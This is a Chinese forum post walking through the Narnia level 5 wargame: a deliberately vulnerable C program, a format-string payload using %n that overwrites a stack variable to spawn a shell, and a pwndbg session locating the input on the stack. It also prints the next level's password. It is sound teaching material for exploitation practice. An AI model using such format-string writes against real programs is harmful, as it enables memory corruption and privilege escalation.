首页
论坛
课程
招聘
[原创]WarGame-narnia5 解题思路
2019-7-30 15:11 4503

[原创]WarGame-narnia5 解题思路

2019-7-30 15:11
4503

Narnia5源码如下

/*
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char **argv){
	int i = 1;
	char buffer[64];

	snprintf(buffer, sizeof buffer, argv[1]);
	buffer[sizeof (buffer) - 1] = 0;
	printf("Change i's value from 1 -> 500. ");

	if(i==500){
		printf("GOOD\n");
        setreuid(geteuid(),geteuid());
		system("/bin/sh");
	}

	printf("No way...let me give you a hint!\n");
	printf("buffer : [%s] (%d)\n", buffer, strlen(buffer));
	printf ("i = %d (%p)\n", i, &i);
	return 0;
}

这个游戏引入了一个新的漏洞,格式化字符串漏洞,从前我在玩看雪CTF时也遇到过同样的漏洞,但是看writeup时一直不知道这种漏洞利用时的转义字符是什么意思,很多大佬也不给解释;这个级别的游戏花了我两天多的时间来学习这个漏洞的基本知识;注意观察源码中的snprintf函数,他没有对用户输入的参数做过滤,从而导致了任意地址读写,当我们修改了i的值为500时,就能获得一个shell,和之前级别的栈溢出不同的是,格式化字符串一次只能改一个值(就像是狙击),在狙击之前要确定修改后的值、变量的地址和储存变量地址的地址,从源码来看,修改后的值为500,调试如下

narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "\x43\x43\x43\x43%p%p%p%p%p%p%p%p"')
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [CCCC0x434343430x333478300x333433340x783033340x343333330x3033383] (63)
i = 1 (0xffffd6e0)
narnia5@narnia:/narnia$

%p是为了要打印栈中的地址,因为要找到储存要写入的地址的地址(有点儿绕),参数里前4个字节就是要写入的地址,%p是为了找到储存要写入的地址在栈中是第几个,这个游戏为了迎合新人,就直接把要写入的地址放在了第一个,实际中,放到几百个以后都是有可能的,在writeup的最后我会展现如何在gdb中寻找所需的地址位置的方法,实际利用方法如下

narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print "\xe0\xd6\xff\xff%496x%01$n"')
Change i's value from 1 -> 500. GOOD
$ whoami
narnia6
$ cat /etc/narnia_pass/narnia6
neezocaeng
$

因为这是我第一次真正的做格式化字符串漏洞,并且也学习了很长时间,所以我会详细的讲下每个参数的意思,从源码来看每次i在打印时会将i的值和i的地址同时打印出来,因为没开ASLR,所以i的地址不会改变,第一个参数就是i的实际地址,第二部分’%496x’测试要写入的数据,因为前面已经有四个字节的地址了,所以应该是500-4=496,最后的’%01$n’则是代表要写入的位置是第一个(n是写入的意思),实际使用gdb调试结果如下(我用的是Ubuntu18.04 64位,pwndbg)

root@gavin:/home/gavin/warGame/narnia# gdb -q narnia5
pwndbg: loaded 179 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from narnia5...(no debugging symbols found)...done.
pwndbg> disassemble main
Dump of assembler code for function main:
   0x0804850b <+0>:	push   ebp
   0x0804850c <+1>:	mov    ebp,esp
   0x0804850e <+3>:	push   ebx
   0x0804850f <+4>:	sub    esp,0x44
   0x08048512 <+7>:	mov    DWORD PTR [ebp-0x8],0x1
   0x08048519 <+14>:	mov    eax,DWORD PTR [ebp+0xc]
   0x0804851c <+17>:	add    eax,0x4
   0x0804851f <+20>:	mov    eax,DWORD PTR [eax]
   0x08048521 <+22>:	push   eax
   0x08048522 <+23>:	push   0x40
   0x08048524 <+25>:	lea    eax,[ebp-0x48]
   0x08048527 <+28>:	push   eax
   0x08048528 <+29>:	call   0x80483f0 <snprintf@plt>
   0x0804852d <+34>:	add    esp,0xc
   0x08048530 <+37>:	mov    BYTE PTR [ebp-0x9],0x0
   0x08048534 <+41>:	push   0x8048650
   0x08048539 <+46>:	call   0x8048380 <printf@plt>
   0x0804853e <+51>:	add    esp,0x4
   0x08048541 <+54>:	mov    eax,DWORD PTR [ebp-0x8]
   0x08048544 <+57>:	cmp    eax,0x1f4
   0x08048549 <+62>:	jne    0x804857b <main+112>
   0x0804854b <+64>:	push   0x8048671
   0x08048550 <+69>:	call   0x80483a0 <puts@plt>
   0x08048555 <+74>:	add    esp,0x4
   0x08048558 <+77>:	call   0x8048390 <geteuid@plt>
   0x0804855d <+82>:	mov    ebx,eax
   0x0804855f <+84>:	call   0x8048390 <geteuid@plt>
   0x08048564 <+89>:	push   ebx
   0x08048565 <+90>:	push   eax
   0x08048566 <+91>:	call   0x80483c0 <setreuid@plt>
   0x0804856b <+96>:	add    esp,0x8
   0x0804856e <+99>:	push   0x8048676
   0x08048573 <+104>:	call   0x80483b0 <system@plt>
   0x08048578 <+109>:	add    esp,0x4
   0x0804857b <+112>:	push   0x8048680
   0x08048580 <+117>:	call   0x80483a0 <puts@plt>
   0x08048585 <+122>:	add    esp,0x4
   0x08048588 <+125>:	lea    eax,[ebp-0x48]
   0x0804858b <+128>:	push   eax
   0x0804858c <+129>:	call   0x80483d0 <strlen@plt>
   0x08048591 <+134>:	add    esp,0x4
   0x08048594 <+137>:	push   eax
   0x08048595 <+138>:	lea    eax,[ebp-0x48]
   0x08048598 <+141>:	push   eax
   0x08048599 <+142>:	push   0x80486a1
   0x0804859e <+147>:	call   0x8048380 <printf@plt>
   0x080485a3 <+152>:	add    esp,0xc
   0x080485a6 <+155>:	mov    eax,DWORD PTR [ebp-0x8]
   0x080485a9 <+158>:	lea    edx,[ebp-0x8]
   0x080485ac <+161>:	push   edx
   0x080485ad <+162>:	push   eax
   0x080485ae <+163>:	push   0x80486b5
   0x080485b3 <+168>:	call   0x8048380 <printf@plt>
   0x080485b8 <+173>:	add    esp,0xc
   0x080485bb <+176>:	mov    eax,0x0
   0x080485c0 <+181>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x080485c3 <+184>:	leave  
   0x080485c4 <+185>:	ret    
End of assembler dump.
pwndbg> b *0x8048528
Breakpoint 1 at 0x8048528
pwndbg> r $(python -c 'print "\x43\x43\x43\x43%p%p%p%p%p"')
Starting program: /home/gavin/warGame/narnia/narnia5 $(python -c 'print "\x43\x43\x43\x43%p%p%p%p%p"')

Breakpoint 1, 0x08048528 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────
 EAX  0xffffd510 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
 EBX  0x0
 ECX  0x340fcec6
 EDX  0xffffd584 ◂— 0x0
 EDI  0x0
 ESI  0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
 EBP  0xffffd558 ◂— 0x0
 ESP  0xffffd504 —▸ 0xffffd510 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
 EIP  0x8048528 (main+29) —▸ 0xfffec3e8 ◂— 0x0
─────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────
 ► 0x8048528 <main+29>    call   snprintf@plt <0x80483f0>
        s: 0xffffd510 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
        maxlen: 0x40
        format: 0xffffd769 ◂— 'CCCC%p%p%p%p%p'
        vararg: 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
 
   0x804852d <main+34>    add    esp, 0xc
   0x8048530 <main+37>    mov    byte ptr [ebp - 9], 0
   0x8048534 <main+41>    push   0x8048650
   0x8048539 <main+46>    call   printf@plt <0x8048380>
 
   0x804853e <main+51>    add    esp, 4
   0x8048541 <main+54>    mov    eax, dword ptr [ebp - 8]
   0x8048544 <main+57>    cmp    eax, 0x1f4
   0x8048549 <main+62>    jne    main+112 <0x804857b>
 
   0x804854b <main+64>    push   0x8048671
   0x8048550 <main+69>    call   puts@plt <0x80483a0>
──────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────
00:0000│ esp  0xffffd504 —▸ 0xffffd510 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
01:0004│      0xffffd508 ◂— 0x40 /* '@' */
02:0008│      0xffffd50c —▸ 0xffffd769 ◂— 'CCCC%p%p%p%p%p'
03:000c│ eax  0xffffd510 —▸ 0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
... ↓
05:0014│      0xffffd518 ◂— 0x0
06:0018│      0xffffd51c —▸ 0xf7e0a60b (__internal_atexit+59) ◂— add    esp, 0x10
07:001c│      0xffffd520 —▸ 0xf7fb23fc (__exit_funcs) —▸ 0xf7fb3200 (initial) ◂— 0x0
────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────
 ► f 0  8048528 main+29
   f 1 f7df2e81 __libc_start_main+241
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Breakpoint *0x8048528
pwndbg> n
0x0804852d in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────────
 EAX  0x36
 EBX  0x0
 ECX  0x0
 EDX  0xffffd546 ◂— 0x85d90000
 EDI  0x0
 ESI  0xf7fb2000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
 EBP  0xffffd558 ◂— 0x0
 ESP  0xffffd504 —▸ 0xffffd510 ◂— 'CCCC0x434343430x333478300x333433340x783033340x34333333'
 EIP  0x804852d (main+34) ◂— add    esp, 0xc
─────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────
   0x8048528 <main+29>    call   snprintf@plt <0x80483f0>
 
 ► 0x804852d <main+34>    add    esp, 0xc
   0x8048530 <main+37>    mov    byte ptr [ebp - 9], 0
   0x8048534 <main+41>    push   0x8048650
   0x8048539 <main+46>    call   printf@plt <0x8048380>
 
   0x804853e <main+51>    add    esp, 4
   0x8048541 <main+54>    mov    eax, dword ptr [ebp - 8]
   0x8048544 <main+57>    cmp    eax, 0x1f4
   0x8048549 <main+62>    jne    main+112 <0x804857b>
 
   0x804854b <main+64>    push   0x8048671
   0x8048550 <main+69>    call   puts@plt <0x80483a0>
──────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────
00:0000│ esp  0xffffd504 —▸ 0xffffd510 ◂— 'CCCC0x434343430x333478300x333433340x783033340x34333333'
01:0004│      0xffffd508 ◂— 0x40 /* '@' */
02:0008│      0xffffd50c —▸ 0xffffd769 ◂— 'CCCC%p%p%p%p%p'
03:000c│      0xffffd510 ◂— 'CCCC0x434343430x333478300x333433340x783033340x34333333'
04:0010│      0xffffd514 ◂— '0x434343430x333478300x333433340x783033340x34333333'
05:0014│      0xffffd518 ◂— '4343430x333478300x333433340x783033340x34333333'
06:0018│      0xffffd51c ◂— '430x333478300x333433340x783033340x34333333'
07:001c│      0xffffd520 ◂— '333478300x333433340x783033340x34333333'
────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────
 ► f 0  804852d main+34
   f 1 f7df2e81 __libc_start_main+241
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/20x $esp
0xffffd504:	0xffffd510	0x00000040	0xffffd769	0x43434343
0xffffd514:	0x33347830	0x33343334	0x78303334	0x34333333
0xffffd524:	0x30333837	0x33337830	0x33333433	0x78303433
0xffffd534:	0x30333837	0x34333333	0x34337830	0x33333333
0xffffd544:	0x00003333	0x080485d9	0x00000000	0x00000001
pwndbg>

正如栈中显示的,输入的四个’\x43’并不是栈中的第一个值,所以之前并没有说是栈中的第一个,只是打印出来是第一个,注意断点是下在snprintf处,所以要等执行完snprintf函数后,才能打印出来


小结
这种类型的漏洞我也是第一次做,只是能了解这个题目的解法,可能换个题目就GG了,不过对于这个游戏的教程还是很详细的,不过对于实际的漏洞利用里最多的应该还是通过格式化字符串来泄露地址(我猜的)
附件是可执行代码和源码


[公告]《使用DCI技术进行全栈调试》训练营,硬件调试器你的,《软件调试》作者张银奎亲自授课!

最后于 2019-7-30 15:12 被pureGavin编辑 ,原因:
上传的附件:
收藏
点赞0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回